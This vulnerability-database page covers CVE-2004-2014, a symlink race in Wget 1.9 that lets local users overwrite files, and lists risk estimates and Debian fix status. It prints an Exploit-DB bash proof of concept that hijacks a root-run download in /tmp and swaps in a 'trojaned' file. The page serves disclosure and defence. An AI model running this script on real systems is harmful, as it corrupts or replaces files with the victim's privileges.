CVE-2004-2014
unknown
CVSS v3
—
CVSS v4 NEW
—
VIR risk
1.0
Description
Wget 1.9 and 1.9.1 allows local users to overwrite arbitrary files via a symlink attack on the name of the file being downloaded.
Predictions
Exploit likelihood
20%
Patch ETA
—
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
WGet 1.x - Insecure File Creation Race Condition
source: https://www.securityfocus.com/bid/10361/info
The 'wget' utility has been reported prone to a race-condition vulnerability. The issue exists because wget doesn't lock files that it creates and writes to during file downloads.
A local attacker may exploit this condition to corrupt files with the privileges of the victim who is running the vulnerable version of wget.
#!/bin/bash
rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."
while [ "$a" == 1 ]
do
ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
a=`cat salida.txt`
done
echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."
b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
if [ -e .wget ]
then
c=0
echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
rm -f /tmp/patch-2.4.26.bz2
echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"
ls -la /tmp/patch-2.4.26.bz2
else
b=`pgrep -u root wget`
touch $b.wget
fi
done
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.9.1-12 |
| sid | Fixed | 1.9.1-12 |
| forky | Fixed | 1.9.1-12 |
| bullseye | Fixed | 1.9.1-12 |
| bookworm | Fixed | 1.9.1-12 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.